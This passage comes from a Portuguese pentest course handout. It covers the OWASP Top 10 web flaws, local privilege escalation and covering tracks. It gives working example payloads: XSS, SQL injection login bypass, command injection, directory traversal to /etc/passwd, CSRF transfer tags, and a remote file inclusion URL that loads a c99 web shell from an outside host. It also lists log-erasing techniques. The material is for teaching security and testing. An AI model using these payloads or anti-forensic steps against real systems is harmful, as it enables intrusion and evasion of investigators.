O uso do XmlHttpRequest permite, em alguns casos, contornar a política do nave-gador conhecida como "same source origination"– assim, encaminhando dados davítima para sites hostis e criar worms complexos e zumbis maliciosos que duram atéo fechamento do navegador. Os ataques AJAX não necessitam ser visíveis ou reque-rem interação com o usuário para realizar os perigosos ataques cross site requestforgery (CSRF) (vide A-5).

13.4.2 EXPLORANDO

Exemplo de uma vulnerabilidade usando as Query Strings de uma página:

http://dominio.com/default.aspx?parametro=<script>alert(’XSS Vul!’);</script>

Neste exemplo será exibido uma msgbox ao visitante do site, nada de tão terrivel,mas com isso podemos imaginar que qualquer codigo digitado pode ser executado,tal como exibir dados da sessão, redirecionar pagina entre outros.

Saiba mais em:http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-4206http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-3966http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-5204http://www.owasp.org/index.php/Cross_Site_Scriptinghttp://www.owasp.org/index.php/Testing_for_Cross_site_scripting

PenTest - Segurança Hacker Página 153

Linux Force – www.linuxforce.com.br Vulnerabilidades em aplicações web

13.5 A2 – FALHAS DE INJEÇÃO

As falhas de Injeção, particularmente injeção SQL, são comuns em aplicações web.Existem muitos tipos de injeção: SQL, LDAP, XPath, XSLT, HTML, XML, comando desistema operacional e muitas outras.

Falhas de Injeção acontecem quando os dados que o usuário dá de entrada são envi-ados como parte de um comando ou consulta. Os atacantes confundem o interpreta-dor para o mesmo executar comandos manipulados enviando dados modificados. Asfalhas de Injeção habilitam o atacante a criar, ler, atualizar ou apagar arbitrariamentequalquer dado disponível para a aplicação. No pior cenário, estes furos permitem aoatacante comprometer completamente a aplicação e os sistemas relacionados, atépelo contorno de ambientes controlados por firewall.

13.5.1 VULNERABILIDADE

Caso uma entrada de usuário seja fornecida a um interpretador sem validação oucodificação, a aplicação é vulnerável. Verifique se a entrada de usuário é fornecida àqueries dinâmicas, como por exemplo:

PHP:$sql = "SELECT * FROM table WHERE id = ’". $_REQUEST[’id’] . "’";Java:String query = "SELECT user_id FROM user_data WHERE user_name = ’"+req.getParameter("userID") + "’ and user_password = ’"+ req.getParameter("pwd")+"’";

13.5.2 EXPLORANDO

Primeiro vamos analisar o codigo abaixo:

Select * from usuarios where username = ‘” + username + “‘ and password =‘” + password “‘;

PenTest - Segurança Hacker Página 154

Linux Force – www.linuxforce.com.br Vulnerabilidades em aplicações web

Como ficaria a chamada no banco de dados se enviássemos no username e pas-sword o conteúdo: ‘ or ‘1‘=‘1 ?

1 Select * from usuarios where username = ‘‘ or ‘1‘=‘1‘ and password =‘‘ or

2 ‘1‘=‘1‘;

Como 1 é sempre igual a 1, teremos uma “verdade” e passaremos pela checagem.

Esse é um tipo de dados que poderíamos passar para aplicativos vulneráveis e burlaro sistema de autenticação. Faremos isso na prática com o WebGoat.

Saiba mais em:http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-5121http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-4953http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-4592http://www.owasp.org/index.php/Guide_to_SQL_Injectionhttp://www.owasp.org/index.php/SQL_Injection

13.6 A3 – EXECUÇÃO MALICIOSA DE ARQUIVO

As vulnerabilidades de execução de arquivos são encontradas em muitas aplicações.Os desenvolvedores têm por hábito usar diretamente ou concatenar entradas poten-cialmente hostis com funções de arquivo ou stream, ou confiar de maneira imprópriaem arquivos de entrada. Em muitas plataformas, frameworks permitem o uso dereferências a objetos externos, como referências a URLs ou a arquivos de sistema.Quando o dado é insuficiente verificado, isto pode levar a uma inclusão arbitráriaremota que será processado ou invocado um conteúdo hostil pelo servidor web.

Isto permite ao atacante realizar:

• Execução de código remoto.

• Instalação remota de rootkit e comprometimento total do sistema.

PenTest - Segurança Hacker Página 155

Linux Force – www.linuxforce.com.br Vulnerabilidades em aplicações web

• Em Windows, comprometimento interno do sistema pode ser possível a partirdo uso de PHP’s SMB file wrappers.

Este ataque é particularmente prevalecente em PHP e cuidado extremo deve seraplicado com qualquer sistema ou função de arquivo para garantir que a entradafornecida pelo usuário não influencie os nomes de arquivos.

13.6.1 VULNERABILIDADE

Uma vulnerabilidade comum construída é:

include $_REQUEST[’filename’];

Isto não somente permite a avaliação de scripts hostis remotos, mas pode ser usadopara acessar arquivos locais do servidor (caso o PHP seja hospedado no Windows)devido ao suporte SMB nos PHP’s file system wrappers. Outros métodos de ataqueincluem:

• Upload de dados hostis a arquivos de sessões, dados de log e via imagens(típico de software de fórum).

• Uso de compressão ou streams de áudio, como por exemplo, zlib:// ou ogg://que não inspecione a flag interna do PHP e então permite o acesso remoto arecursos, mesmo que allow_url_fopen ou allow_url_include esteja desabilitado.

• Usando PHP wrappers, como por exemplo, php://input e outros para coletarentrada da requisição de dados POST ao invés de um arquivo.

• Usando o PHP’s data: wrapper, como por exemplo,data:;base64,PD9waHAgcGhwaW5mbygpOz8+.

Uma vez que essa lista é extensa (e muda com periodicidade), é vital que o usode uma arquitetura desenhada apropriado para segurança e design robusto quandomanipulamos entradas fornecidas pelo usuário que influenciem a escolha de nomesde arquivos e acesso no lado do servidor.

Apesar de fornecidos alguns exemplos em PHP, este ataque é também aplicávelde maneiras diferentes em .NET e J2EE. As aplicações desenvolvidas nestes fra-meworks necessitam de atenção particular aos mecanismos de segurança de acesso

PenTest - Segurança Hacker Página 156

Linux Force – www.linuxforce.com.br Vulnerabilidades em aplicações web

ao código para garantir que os nomes de arquivos fornecidos ou influenciados pelosusuários não habilitem que controles de segurança sejam desativados. Por exemplo,é possível que documentos XML submetidos por um atacante terá um DTD hostilque force o analisador XML a carregar um DTD remoto e analisar e processar osresultados. Uma empresa Australiana de segurança demonstrou esta abordagempara varredura portas para firewalls. Veja [SIF01] nas referências deste artigo paramaiores informações.

O dano causado por essa vulnerabilidade está diretamente associado com os pon-tos fortes dos controles de isolamento da plataforma no framework. Como o PHPé raramente isolado e não possui o conceito de caixa de areia "sandbox"ou arqui-tetura segura, o dano é muito pior do que comparado com outras plataformas comlimitação ou confiança parcial, ou são contidos em uma sandbox confiável como, porexemplo, quando uma aplicação web é executada sob um JVM com um gerenciadorde segurança apropriado habilitado e configurado (que é raramente o padrão).

13.6.2 EXPLORANDO

Falhas dessa classe ocorrem simplesmente porque o programador não filtrou o con-teúdo que recebe de um usuário e envia para funções que executam comandos nosistema, como por exemplo, a função system() ou passthru() do PHP.

Uma vez que um usuário malicioso consegue enviar caracteres de escape (; | > <)e esses caracteres são enviados para a aplicação vulnerável, o atacante conseguiráexecutar os comandos diretamente no servidor.

http://www.hostvuln.com/meuscript.cgi?file=;id;uname%20-a

No exemplo acima, o atacante está executando os comandos id e uname –a noservidor vulnerável.

13.6.2.1 Shell PHP

Um dos mais famosos shell em php é o C99, criada pelo Captain Crunch SecurityTeam, mas existem diversas r57, php shell, R9 etc...

A c99 é a mais usada pela sua simplicidade sem muitos conhecimentos de comandosunix.

PenTest - Segurança Hacker Página 157

Linux Force – www.linuxforce.com.br Vulnerabilidades em aplicações web

Podemos conseguir uma shell baixando um arquivo php com o código da mesma ehospedando-a em um site. Ou simplesmente buscando na web.

Você pode encontrar uma c99 em http://corz.org/corz/c99.php

A partir de um site vulnerável, podemos chamar a shell que está hospedada em umsite e simplesmente começar a operar dentro do site como se tivêssemos na linhade comando.

http://www.sitevitima.com/menu.php?page=http://corz.org/corz/c99.php

Saiba mais em:http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-0360http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-5220http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-4722http://www.owasp.org/index.php/File_System#Includes_and_Remote_fileshttp://www.owasp.org/index.php/Testing_for_Directory_Traversal

13.7 A4 – REFERÊNCIA INSEGURA DIRETA AOBJETO

Uma referência direta a um objeto acontece quando um desenvolvedor expõe umareferência a um objeto de implementação interna, como por exemplo, um arquivo,diretório, registro na base de dados ou chave, uma URL ou um parâmetro de um for-mulário. Um atacante pode manipular diretamente referências a objetos para acessaroutros objetos sem autorização, a não ser que exista um mecanismo de controle deacesso.

Por exemplo, em aplicações de Internet Banking é comum o uso do número da contacomo a chave primária. Conseqüentemente, pode ser tentador usar o número daconta diretamente na interface web.

Mesmo que os desenvolvedores tenham usado queries SQL parametrizadas paraprevenir inserções de comandos SQL (SQL injection), e caso não exista uma veri-ficação adicional para garantir que o usuário é o proprietário da conta e que estáautorizado a ver a conta, um atacante pode manipular a partir do parâmetro do nú-mero da conta e possivelmente pode ver e modificar todas as contas.

PenTest - Segurança Hacker Página 158

Linux Force – www.linuxforce.com.br Vulnerabilidades em aplicações web

Este tipo de ataque aconteceu no site da Australian Taxation Office’s GST Start UpAssistance em 2000, onde um usuário legítimo, mas hostil, simplesmente modificouo ABN (identificador da empresa) presente na URL. O usuário se apossou de cercade 17.000 registros de empresas cadastrados no sistema, e então enviou para cadauma das 17.000 empresas detalhes do ataque. Este tipo de vulnerabilidade é muitocomum, porém não testada largamente em muitas aplicações.

13.7.1 VULNERABILIDADE

Muitas aplicações expõem referências a objetos internos aos usuários. Atacantesmanipulam parâmetros a fim de modificar as referências e violarem a política decontrole de acesso de forma intencionalmente e sem muito esforço. Freqüentemente,estas referências apontam para arquivos do sistema e banco de dados, mas qualqueraplicação exposta pode estar vulnerável.

Por exemplo, se o código permite especificação de nomes de arquivos ou caminhosa partir da entrada do usuário, isto pode permitir que atacantes acessem diretóriosda aplicação que não estão publicados e acessem outros recursos.

<select name="language»<option value="fr»Français</option></select> ...require_once ($_REQUEST[’language’]."lang.php");

Tal código pode ser atacado usando uma string como “../../../../etc/passwd%00” usandoinjeção de um byte nulo (vide OWASP Guide para mais detalhes) para acessar qual-quer arquivo no sistema de arquivo do servidor web.

Similarmente, referências as chaves de banco de dados são freqüentemente expos-tas. Um atacante pode atacar estes parâmetros simplesmente chutando ou procu-rando por outra chave válida.

Geralmente, elas são seqüenciais por natureza. No exemplo a seguir, mesmo quea aplicação não apresente um link qualquer para um carrinho não autorizado e ne-nhuma injeção SQL seja possível, um atacante pode ainda modificar o parâmetrocartID para qualquer outro desejado.

int cartID = Integer.parseInt( request.getParameter( "cartID") ); String query ="SELECT * FROM table WHERE cartID="+ cartID;

PenTest - Segurança Hacker Página 159

Linux Force – www.linuxforce.com.br Vulnerabilidades em aplicações web

13.7.2 EXPLORANDO

Um exemplo de exploração desta vulnerabilidade é:

http://www.hostvul.com/index.php?file=../../../../../../etc/passwd

Saiba mais em:http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-0329http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-4369http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-0229http://www.owasp.org/index.php/Testing_for_business_logichttp://www.owasp.org/index.php/Testing_for_Directory_Traversalhttp://www.owasp.org/index.php/Category:Access_Control_Vulnerability

13.8 A5 – CROSS SITE REQUEST FORGERY (CSRF)

Cross site request forgery não é um novo ataque, mas é simples e devastador. Umataque CSRF força o navegador logado da vítima a enviar uma requisição para umaaplicação web vulnerável, que realiza a ação desejada em nome da vítima.

Esta vulnerabilidade é extremamente disseminada, uma vez que qualquer aplicaçãoweb:

• Não tenha verificação de autorização para ações vulneráveis

• Execute uma ação caso um login padrão seja enviado na requisição(ex. http://www.example.com/admin/doSomething.ctl?username=admin&passwd=admin)

• Autorize requisições baseadas somente em credenciais que são automatica-mente submetidas como, por exemplo, cookie de sessão, caso logada corre-tamente na aplicação, ou a funcionalidade “Relembrar-me”, se não logado naaplicação, ou um token Kerberos, se parte de uma Intranet que tenha o logonintegrado com o Active Directory.

Este tipo de aplicação estará em risco. Infelizmente, hoje, a maioria das aplicaçõesweb confia exclusivamente em credenciais submetidas automaticamente, como por

PenTest - Segurança Hacker Página 160

Linux Force – www.linuxforce.com.br Vulnerabilidades em aplicações web

exemplo, cookies de seção, credenciais de autenticação básica, endereço de IP deorigem, certificados SSL ou credenciais de um domínio Windows.

Esta vulnerabilidade é também conhecida por outros diversos nomes incluindo Ses-sion Riding, Ataques One-Click, Cross Site Reference Forgery, Hostile Linking e Au-tomation Attack. O acrônimo XSRF é freqüentemente usado. Ambos a OWASP e oMITRE padronizaram o uso do termo Cross Site Request Forgery e CSRF

13.8.1 VULNERABILIDADE

Um ataque típico CSRF contra um fórum pode ter a forma de direcionar o usuárioa invocar alguma função, como por exemplo, a página de logout da aplicação. Aseguinte tag em qualquer página web vista pela vítima gerará uma requisição queencerra sua seção:

<img src="http://www.example.com/logout.php»

Caso um banco permita sua aplicação a processar requisições, como a transferênciade fundos, um ataque similar pode permitir:

<img src="http://www.example.com/transfer.do?frmAcct=document.form.frmAcct&toAcct=4345754&toSWIFTid=434343&amt=3434.43»

13.8.2 EXPLORANDO

Os parâmetros utilizados e o formato de ataque é muito parecido com o XSS. Inclu-sive, o tipo de ataque CSRF surgiu a partir do XSS, quando os atacantes perceberamque a partir da chamada para execução de script com XSS, seria possível estenderpara além a capacidade de exploração de seus ataques.

Jeremiah Grossman em sua palestra na BlackHat 2006 “Hacking Intranet Sites fromthe outside”, demonstrou ser possível forçar o usuário a modificar seu roteador DSLsem seu consentimento; mesmo que o usuário não saiba que o roteador possua umainterface web. Jeremiah usou um nome de conta padrão do roteador para realizar oataque.

PenTest - Segurança Hacker Página 161

Linux Force – www.linuxforce.com.br Vulnerabilidades em aplicações web

Todos estes ataques funcionam, pois a credencial de autorização do usuário (tipica-mente um cookie de sessão) é automaticamente incluída em requisições do navega-dor, mesmo que o atacante não forneça tal credencial.

Caso a tag contendo o ataque possa ser postada em uma aplicação vulnerável, entãoa probabilidade de encontrar vítimas autenticadas é incrementada significativamente,similar ao incremento do risco entre as falhas XSS armazenadas e refletidas. FalhasXSS não são necessárias para um ataque CSRF funcionar, apesar de que qualqueraplicação com falhas XSS esteja susceptível a CSRF, pois um ataque CSRF podeexplorar uma falha XSS para roubar qualquer credencial não fornecida de forma au-tomática que possa estar em execução para proteger contra um ataque CSRF. Muitosworms de aplicação têm usado ambas as técnicas de forma combinada.

Quando estiver construindo defesas contra ataques CSRF, deve-se focar também naeliminação de vulnerabilidades XSS na aplicação, uma vez que tais vulnerabilidadespodem ser usadas para subverter a maioria das defesas contra CSRF aplicadas.

Saiba mais em:http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-0192http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-5116http://www.owasp.org/index.php/Cross-Site_Request_Forgeryhttps://www.owasp.org/index.php/Testing_for_CSRFhttp://www.owasp.org/index.php/CSRF_Guardhttp://www.owasp.org/index.php/PHP_CSRF_Guard

13.9 A6 – VAZAMENTO DE INFORMAÇÕES ETRATAMENTO DE ERROS INAPROPRIADO

Diversas aplicações podem sem intenção vazar informações sobre suas configura-ções, funcionamento interno, ou violar privacidade através de diversos problemas.Aplicações podem vazar o funcionamento interno via tempo de resposta para exe-cutar determinados processos ou respostas diferentes para entradas diversas, comoexibindo mesma mensagem de erro mas com código de erros diferentes.

Aplicações Web freqüentemente vazarão informações sobre seu funcionamento in-terno através de mensagens de erros detalhadas ou debug. Freqüentemente, essa

PenTest - Segurança Hacker Página 162

Linux Force – www.linuxforce.com.br Vulnerabilidades em aplicações web

informação pode ser o caminho para lançar ataques ou ferramentas automáticasmais poderosas.

13.9.1 VULNERABILIDADE

Aplicações freqüentemente geram mensagens de erros e as mostram para os usuá-rios. Muitas vezes essas informações são úteis para os atacantes, visto que elasrevelam detalhes de implementações ou informações úteis para explorar uma vulne-rabilidade. Existem diversos exemplos comuns disso:

• Manipulação de erro detalhada, onde se induzirmos alguns erros serão mostra-das muitas informações, como o rastreamento da pilha, validações, falhas deSQL, ou outras informações de debug.

• Funções que produzem diferentes saídas baseado-se em diferentes entradas.Por exemplo, substituindo o mesmo nome de usuário com senhas diferentesdeveria produzir o mesmo texto como usuário inexistente, ou password inválido.Entretanto, muitos sistemas geram diferentes códigos de erros.

13.9.2 EXPLORANDO

Para explorar esta falha vamos utilizar algumas ferramentas automatizadas em aula,segue uma lista de ferramentas para você pesquisar:

FireCat - conjunto de plugins para o firefox.

Firebug - plugin do firefox para alteração de parâmetro no browser cliente.

WebScarab - proxy que permite a captura e manipulação de parâmetros enviadospelo navegador.

Paros Proxy - proxy que permite a captura de parâmetros enviados pelo navegador.

Nessus - ferramenta de varredura em busca de vulnerabilidades, baseado em plu-gins constantemente atualizado, escritos em NASL.

Nikto - ferramenta de busca de vulnerabilidades e falhas de configuração do Web-server Apache.

PenTest - Segurança Hacker Página 163

Linux Force – www.linuxforce.com.br Vulnerabilidades em aplicações web

IEWatch - é um plugin para o Microsoft Internet Explorer para analisar cabeçalhosde requisições HTTP e HTTPS, além de código fonte HTML.

Wireshark - sniffer de rede que possibilita a análise de protocolos e filtro de paco-tes, a partir de regras personalizadas, que trafegam na rede.

Wapiti - scanner de vulnerabilidade de aplicações web, pesquisa falhas XSS, in-jeção de SQL e XPath, inclusões de arquivo (local e remoto) a execução decomandos, injeção LDAP e injeção CRLF.

W3AF - framework para auditoria e teste de invasão em aplicações web.

Saiba mais em:http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-4899http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-3389http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-0580http://www.owasp.org/index.php/Error_Handlinghttp://www.owasp.org/index.php/Category:Sensitive_Data_Protection_Vulnerability

13.10 A7 – FURO DE AUTENTICAÇÃO E GERÊNCIADE SESSÃO

Autenticação e gerência de sessão apropriadas são criticas para a segurança naweb. Falhas nesta área geralmente envolvem a falha na proteção de credenciais enos tokens da sessão durante seu tempo de vida. Estas falhas podem estar liga-das à roubo de contas de usuários ou administradores, contornando controles deautorização e de responsabilização, causando violações de privacidade.

13.10.1 VULNERABILIDADE

Furos no mecanismo principal de autenticação não são incomuns, mas falhas são ge-ralmente introduzidas a partir de funções menos importantes de autenticação comologout, gerência de senhas, timeout, recordação de dados de logon, pergunta secretae atualização de conta.

PenTest - Segurança Hacker Página 164

Linux Force – www.linuxforce.com.br Vulnerabilidades em aplicações web

13.10.2 EXPLORANDO

Sistemas com falha de gerência de sessão podem ser vitimas de Session Hijackingatravés de:

⇒ Falhas de XSS

⇒ Snifer de rede local

⇒ Cockies Armazenados

Saiba mais em:http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-6145http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-6229http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-6528http://www.owasp.org/index.php/Guide_to_Authenticationhttp://www.owasp.org/index.php/Reviewing_Code_for_Authenticationhttp://www.owasp.org/index.php/Testing_for_authentication

13.11 A8 – ARMAZENAMENTO CRIPTOGRTAFICOINSEGURO

Proteger dados sensíveis com criptografia tem sido parte chave da maioria das apli-cações Web.

Simplesmente não criptografar dados sensíveis é muito comum. Ainda, aplicaçõesque adotam criptografia freqüentemente possuem algoritmos mal concebidos, usammecanismos de cifragem inapropriados ou cometem sérios erros usando cifragemfortes.

13.11.1 VULNERABILIDADE

Prevenir falhas de criptografia requer planejamento cuidadoso. Os problemas maiscomuns são:

PenTest - Segurança Hacker Página 165

Linux Force – www.linuxforce.com.br Vulnerabilidades em aplicações web

• Não criptografar dados sensíveis

• Uso inseguro de algoritmos fortes

• Uso de algoritmos caseiros

• Continuar usando algoritmos que provadamente são fracos (MD5, SHA-1, RC3,RC4, etc.)

• Difícil codificação de chaves, e armazenar chaves em sistemas de armazena-mento desprotegidos

13.11.2 EXPLORANDO

Vamos ver abaixo os tipos de ataques mais utilizados para ter acesso às informaçõesarmazenadas.

• Brute-force

• Rainbowcrack + hash sites

• Md5 Web Crackers

Saiba mais em:http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-6145http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-1664http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-1999-1101http://www.owasp.org/index.php/Cryptographyhttp://www.owasp.org/index.php/Guide_to_Cryptographyhttp://www.owasp.org/index.php/Insecure_Storagehttp://www.owasp.org/index.php/How_to_protect_sensitive_data_in_URL’s

13.12 A9 – COMUNICAÇÕES INSEGURAS

Aplicações geralmente falham na hora de encriptar tráfego de rede quando é neces-sário proteger comunicações sensíveis. A encriptação (geralmente SSL) deve ser

PenTest - Segurança Hacker Página 166

Linux Force – www.linuxforce.com.br Vulnerabilidades em aplicações web

usada em todas as conexões autenticadas, especialmente páginas web com acessovia internet, mas também conexões com o back- end. Senão, o aplicativo irá exporuma autenticação ou o token de sessão. Adicionalmente, a autenticação deve serusada sempre que dados sensíveis, assim como cartões de crédito ou informaçõesde saúde são transmitidos. Aplicações cujo modo de encriptação possa ser subver-tido são alvos de ataques.

Os padrões PCI requerem que todas as informações de cartões de credito que sãotransmitidas pela internet sejam encriptadas.

13.12.1 VULNERABILIDADE

Falha na hora de encriptar informações sensíveis significa que um invasor que possaescutar o tráfego da rede poderá ter acesso à conversa, incluindo quaisquer cre-denciais ou informações sensíveis transmitidas. Considerando que redes diferentesterão mais ou menos suscetibilidade a escuta.

Entretanto, é importante notar que eventualmente um servidor será comprometidoem praticamente qualquer rede, e que invasores instalarão rapidamente uma escutapara capturar as credenciais de outros sistemas.

O uso de SSL para comunicação com usuários finais é critico, pois é muito provávelque eles utilizem formas inseguras de acessar os aplicativos. Porque HTTP incluicredenciais de autenticação ou um token de sessão para cada pedido, toda autenti-cação do tráfego deve ir para o SSL, não só os pedidos de login.

A encriptação de informações com servidores de back-end também é importante.Mesmo que estes servidores sejam naturalmente mais seguros, as informações eas credenciais que elas carregam são mais sensíveis e mais impactantes. Portanto,usar SSL no back-end também é muito importante.

A encriptação de informação sensível, assim como cartões de crédito e informaçõesde previdência, se tornou um regulamento financeiro e de privacidade para váriasempresas. Negligenciar o uso de SSL para o manuseio de conexões de informaçõescria um risco de não conformidade.

PenTest - Segurança Hacker Página 167

Linux Force – www.linuxforce.com.br Vulnerabilidades em aplicações web

13.12.2 EXPLORANDO

Aplicações Web com comunicação insegura podem facilmente ser vitimas de sniffersde rede, em aula veremos o uso do Wireshark.

Saiba mais em:http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-6430http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-4704http://www.schneier.com/blog/archives/2005/10/scandinavian_at_1.htmlhttps://www.owasp.org/index.php/Testing_for_SSL-TLShttp://www.owasp.org/index.php/Guide_to_Cryptography

13.13 A10 – FALHA AO RESTRINGIR ACESSO À URLS

Comumente, a única proteção para uma URL é não mostrar o link para usuários nãoautorizados.

No entanto, um motivado, hábil ou apenas um sortudo atacante pode ser capaz deachar e acessar estas páginas, executar funções e visualizar dados. Segurança porobscuridade não é suficiente para proteger dados e funções sensíveis em uma apli-cação. Verificações de controles de acesso devem ser executadas antes de permitiruma solicitação a uma função sensível, na qual garante que somente o usuário au-torizado acesse a respectiva função.

13.13.1 VULNERABILIDADE

O principal método de ataque para esta vulnerabilidade é chamado de “navegaçãoforçada” (“forced browsing”), na qual envolve técnicas de adivinhação de links (“gues-sing”) e força bruta (“brute force”) para achar páginas desprotegidas. É comum queaplicações utilizem códigos de controle de acesso por toda a aplicação, resultandoem um modelo complexo que dificulta a compreensão para desenvolvedores e espe-cialistas em segurança. Esta complexidade torna provável a ocorrência de erros ealgumas páginas não serão validadas, deixando a aplicação vulnerável.

Alguns exemplos destas falhas incluem:

PenTest - Segurança Hacker Página 168

Linux Force – www.linuxforce.com.br Vulnerabilidades em aplicações web

• URLS “escondidas” e “especiais”, mostradas apenas para administradores ouusuários privilegiados na camada de apresentação, porém acessível a todos osusuários caso tenham conhecimento que esta URL existe, como /admin/addu-ser.php ou /approveTransfer.do. Estas são particularmente comuns em códigosde menus.

• Aplicações geralmente permitem acesso a arquivos “escondidos”, como arqui-vos XML estáticos ou relatórios gerados por sistemas, confiando toda segu-rança na obscuridade, escondendo-os.

• Códigos que forçam uma política de controle de acesso desatualizada ou insu-ficiente. Por exemplo, imagine que /approveTransfer.do foi disponibilizado umavez para todos usuários, mas desde que os controles da SOX foram adota-dos, ele supostamente só pode ser acessível por usuários aprovadores. Umapossível correção seria não mostrar a URL para usuários não autorizados, noentanto o controle de acesso ainda não estaria implementado na requisiçãopara esta página.

• Códigos que validam privilégios no cliente (browser) e não no servidor, comoneste ataque na MacWorld 2007, que aprovava para “Platinum” passes quevaliam $1700 via Java Script no browser ao invés de validar no servidor.

Saiba mais em:http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-0147http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-0131http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-1227http://www.owasp.org/index.php/Forced_browsinghttp://www.owasp.org/index.php/Guide_to_Authorization

PenTest - Segurança Hacker Página 169

14 Elevação de Privilégios Locais

14.1 O que é escalada de privilégios?

Escalação ou elevação de privilégios basicamente significa adicionar mais direitos oupermissões para um usuário. Em resumo, escalação de privilégios tenta transformarum usuário normal em um usuário administrativo, usuário com maior privilégios doque o usuário atual ou fazer com que um usuário participe de outros grupos locaisna máquina, com privilégio diferente do privilégio atual do atacante.

Quando exploramos alguns serviços, nem sempre conseguimos acesso root.

Esse é o caso da exploração de um PHP Inject, que vimos anteriormente. Algunsoutros exemplos podem ser usados, como exploração de um daemon que não éexecutado como root. Portanto, para conseguirmos controlar totalmente a máquina epode executar programas que precisam de privilégios de administrador, precisamosaumentar nosso privilégio localmente.

Porém, a escalação de privilégios não está limitada apenas a aumentar os privilégiosdentro do sistema operacional, mas em qualquer sistema. Por exemplo, podemoster um acesso limitado a um servidor de banco de dados Oracle e desejamos nostornar DBA, podendo assim acessar todas as tabelas e bases de dados existentesno banco. O ato de tornar um usuário com mais privilégios é também chamado deelevação de privilégios.

Exemplos de caso onde podemos realizar o ataque:

• Exploração de aplicação web que não é executada como root;

• Exploração de serviços que não são executados como root ou tem seu privilégio“dropado”

• Exploração interna de um aplicativo, por exemplo, um Banco de Dados Oracle.

• Quando conseguimos uma senha local, sem privilégio administrativo.

Linux Force – www.linuxforce.com.br Elevação de Privilégios Locais

14.2 Possíveis alvos

Normalmente, aplicações que possuem suidroot são as mais exploradas, além dopróprio kernel do sistema, que é executado com privilégios de super usuário.

Aplicações com suidroot é uma aplicação com uma permissão especial conhecidapor suid bit (“s”), que quando executada, será executada com privilégios do usuárioroot. Portanto, se conseguirmos explorar um arquivo que possui esse tipo de permis-são, provavelmente conseguiremos obter os privilégios do usuário root no sistema,conseguindo assim controle total.

Para procurarmos por arquivos com suidroot na máquina, podemos executar o co-mando abaixo:

1 # find / -perm -4000 > suidroot.txt2 # less suidroot.txt3 # find / -perm -04000 -exec ls -l {} \;

Além de arquivos com suidroot, também podem ser exploradas falhas no kernel dosistema, que é quem cuida dos privilégios dos usuários, e conseqüentemente, ga-nharemos privilégios administrativos se a falha for explorada com sucesso.

Portanto, após identificarmos os arquivos que possuem esse tipo especial de per-missão, precisamos identificar falhas de segurança nesses softwares. Essas falhaspodem ser públicas, ou seja, que é possível encontrar na internet, ou privada, quepode ser comprada de um pesquisador ou empresa, ou até mesmo descoberta pelopróprio atacante.

14.3 Laboratorio

Vamos fazer um laboratorio com uma das maquinas Kioptrix. Aguarde para ver emaula.

PenTest - Segurança Hacker Página 171

15 Apagando Rastros

15.1 Por que encobrir rastros?

Um dos objetivos, em um teste de invasão, de utilizar técnicas para encobrir seus ras-tros e ações, é para testar a eficácia e competência do time de resposta a incidentese perícia forense caso os mesmos existam.

As técnicas para apagar rastros também são conhecidas como “anti-forensic”.

Não há necessidade desse tipo de ação por parte de um pentester, caso queiradeixar as evidências de exploração para posterior análise por parte da equipe deTi da empresa contratante. No entanto, caso tenha como objetivo testar, também,a capacidade da equipe de perícia forense em investigar um caso de invasão, éinteressante implementar os passos estudados nesse capítulo

15.2 O que encobrir?

Logs de IDS - Onde são armazenadas todas as evidências de tráfego anormal quetenha sido detectado na rede. Isso inclui desde o envio de arquivos maliciososà varreduras no sistema, em busca de informações.

Logs de Firewall - Logs que guardam as informações filtradas por regras de fi-rewall.

Normalmente os administradores, quando criam as regras de firewall, tem porhábito mandar armazenar em log tentativas de varreduras, ataques de bruteforce e acesso sem autorização a serviços específicos.

Arquivos copiados no sistema - Qualquer arquivo que tenha sido copiado para osistema, mesmo que posteriormente seja apagado, deixa rastros que podemser recuperados com ferramentas específicas.

Linux Force – www.linuxforce.com.br Apagando Rastros

Arquivos sendo executados, como backdoors, por exemplo - Todo programa ouarquivo em execução, é reconhecido pelo sistema como um processo, e comoum pode ser recuperado da memória. Existem várias formas de mascarar aexecução de binários, como por exemplo um rootkit, que substitui binários dosistemas por seus próprios, com implementações de códigos maliciosos.

Logs de comandos - Tudo o que é digitado no terminal é armazenado no .bash_historydo usuário, por exemplo. Mesmo que seja apagado, esse arquivo também podeser recuperado pela equipe de perícia forense.

Logs de sessão - Quando efetuamos o login e autenticamos uma sessão válida,tudo o que ocorre na mesma é armazenado em logs. Algumas organizaçõespossuem, inclusive, servidores exclusivos para armazenamento e gerencia-mento de logs. No Linux, a maioria dos logs ficam armazenados em /var/log.

15.3 Técnicas

Sobreescrita de dados - Quando apagamos algo em um disco, os dados são ape-nas marcados para a deleção e não realmente apagados. Os dados marcadospara a deleção, são apagados apenas quando o sistema operacional utiliza osmesmos blocos do disco para gravar novos dados, realizando a sobreescrita.

Quanto mais vezes aquele mesmo setor for sobreescrito, mais difícil se tornaráa recuperação das informações originalmente existentes. Esse método tambémé conhecido como “wipe”.

